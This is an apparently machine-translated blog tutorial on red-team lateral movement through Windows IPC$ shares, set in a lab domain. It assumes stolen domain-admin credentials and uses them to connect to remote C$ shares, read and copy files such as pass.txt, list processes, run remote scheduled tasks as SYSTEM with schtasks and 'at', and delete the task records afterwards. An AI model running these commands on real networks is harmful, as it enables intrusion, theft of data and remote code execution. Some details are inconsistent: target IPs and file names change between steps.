Penetración de intranet_IPC

Penetración de intranet_IPC

0x01 ¿Qué es IPC?

IPC (Shared Named Pipe Resource) es en realidad una canalización con nombre abierta para la comunicación entre procesos; IPC puede obtener los permisos correspondientes verificando el nombre de usuario y la contraseña, y generalmente se usa para administrar computadoras de forma remota y ver los recursos compartidos de las computadoras.

Comprensión simple: puede acceder a archivos (cargar, descargar) en la máquina de destino y también puede ejecutar comandos en la máquina de destino. La
carga y descarga de archivos se puede realizar directamente a través del comando de copia, pero la ruta almacena en caché las rutas UNC
. ¿Un camino UNC? La ruta que comienza con \ es una ruta UNC, por ejemplo:\\10.10.10.10\c$\users

0x02 Condiciones de utilización del IPC

La apertura de los puertos 139 y 445
ipc$ permite el inicio de sesión remoto y el acceso a recursos compartidos predeterminados, y la apertura del puerto 139 indica la aplicación del protocolo NetBIOS. El acceso
a archivos/impresoras compartidas se puede lograr a través de los puertos 139 y 445. En términos generales IPC$, se requiere compatibilidad con los puertos 139 y 445.
El administrador ha habilitado el uso compartido predeterminado.
El uso compartido predeterminado está habilitado de forma predeterminada para comodidad del administrador para la administración remota, incluidos todos los discos lógicos ( c$,d$,e$), etc., y el sistema. directorio winnt o windows ( admin$). El acceso a estos directorios compartidos predeterminados se puede lograr a través de IPC$

0x03 ¿Por qué elegir la penetración de IPC
? 1. El inicio de sesión remoto en el escritorio aumentará el riesgo de exposición
2. El administrador objetivo puede desactivar el inicio de sesión remoto en el servidor.

0x04 Utilización de IPC en la penetración de intranet

Supongamos aquí que hemos obtenido la cuenta y contraseña de un administrador de dominio:

user : redteam\saul
pass : admin!@#45

A continuación, demostraremos cómo usar IPC para completar varias operaciones a través de esta contraseña de cuenta.
1. Establecer una conexión IPC (ver, cargar, descargar operaciones).
Supongamos que hemos obtenido los permisos de la máquina win7 (10.10.10.7) y queremos use la línea de comando para win_server2008 (10.10.10.8) La máquina funciona
1) Establezca la conexión IPC:

net use \\10.10.10.8 /u:redteam\saul admin!@#45

Insertar descripción de la imagen aquí

2) Eliminar la conexión IPC:

net use \\10.10.10.8 /de /y

Insertar descripción de la imagen aquí
3) Ver el disco compartido del objetivo

net view \\10.10.10.8

Insertar descripción de la imagen aquí
4) Ver los archivos en la unidad C de destino

dir \\10.10.10.12\c$

Insertar descripción de la imagen aquí
5) Vea el archivo pass.txt en el directorio del escritorio:
Insertar descripción de la imagen aquí

type \\10.10.10.12\c$\pass.txt

Insertar descripción de la imagen aquí
6) Cargue el archivo en la unidad de destino C.
Por ejemplo, si tenemos un archivo en el escritorio y lo subimos al escritorio de destino, el comando es el siguiente:

copy 要上传的⽂件名 \\10.10.10.8\c$\
copy C:\Users\saul\Desktop\1.txt \\10.10.10.8\c$\Users\Administrator\Desktop\

Insertar descripción de la imagen aquí
7) Descargue el archivo pass.txt en el escritorio de la unidad C de destino.
También podemos descargar el archivo mediante el comando copiar:

copy \\10.10.10.8\c$\Users\Administrator\Desktop\flag.txt

Insertar descripción de la imagen aquí
8) Utilice la lista de tareas para enumerar la lista de procesos del host remoto:

/S : 指定连接到的计算机或IP地址,默认本机
/u [<Domain>\]<UserName> : 指定使⽤哪个⽤户执⾏这个命令
/P [password] : 为指定的⽤户指定密码。
例:tasklist /S 10.10.10.8 /U redteam\administrator /P Admin12345!

Insertar descripción de la imagen aquí

9) Verifique la hora del host remoto.
A veces queremos ejecutar tareas programadas en el host remoto, en este momento necesitamos saber la hora del host de destino, para facilitar la ejecución de la tarea programada.

net time \\10.10.10.8

Insertar descripción de la imagen aquí
10) Las máquinas con versiones superiores ejecutan comandos de ejecución de tareas programadas: schtasks El
comando schtasks permite a los administradores crear, eliminar, consultar, cambiar, ejecutar y finalizar tareas programadas en sistemas locales o remotos.
¡Funciona con Windows 2008 y posteriores!
Ejemplo: cree una tarea programada denominada prueba en el host de destino win_server2008 (10.10.10.8) y ejecute 1.txt una vez cada minuto como sistema.

1、创建计划任务
schtasks /create /tn test /U redteam\saul /P admin!@#45 /tr "c:\1.txt" /sc MINUTE /mo 1 /s 10.10.10.8 /RU system
2、执⾏计划任务
schtasks /run /tn test /s 10.10.10.8 /U redteam\saul /P admin!@#45
3、删除计划任务
schtasks /F /delete /tn test /s 10.10.10.8 /U redteam\saul /P admin!@#45

Insertar descripción de la imagen aquí

¡La máquina de destino ya se está ejecutando en segundo plano!
Insertar descripción de la imagen aquí
También puede verlo en el programador de tareas.
Insertar descripción de la imagen aquí
11) Las máquinas con versiones inferiores ejecutan el comando de ejecución de tareas programadas: AT El
comando AT es un comando integrado en Windows En términos de gestión de tareas y procesamiento de transacciones de trabajo, los comandos AT son más fuertes y Funciones más potentes. El comando AT puede ejecutar comandos y programas en una computadora específica en una fecha y hora específicas. El
comando AT está integrado en sistemas operativos inferiores a Windows 2008, como Windows 2003.
Antes de usar el comando at para crear una tarea programada en un máquina remota, necesita usar el comando net use.Crear ipc$:

  1. Por ejemplo, deje que la máquina de destino win_server2008 (10.10.10.8) ejecute calc.bat a las 5:20 p. m.:
#查看⽬标系统时间
net time \\10.10.10.8
#将⽂件复制到⽬标系统中
copy calc.bat \\10.10.10.8\c$ 
#使⽤at创建计划任务
at \\10.10.10.8 5:20PM C:\calc.bat
#清除at记录
at \\10.10.10.8 ID /delete

Insertar descripción de la imagen aquí

Insertar descripción de la imagen aquí
Se agregó correctamente la ejecución 2. El comando at también puede usar cmd para ejecutar el comando y devolver el resultado a un texto.

# 使⽤cmd执⾏命令:
at \\10.10.10.8 5:40PM cmd.exe /c "ipconfig >C:/3.txt"
# type读取⽂本
type \\10.10.10.8\C$\3.txt

Insertar descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/qq_42383069/article/details/124018033
Recomendado
Clasificación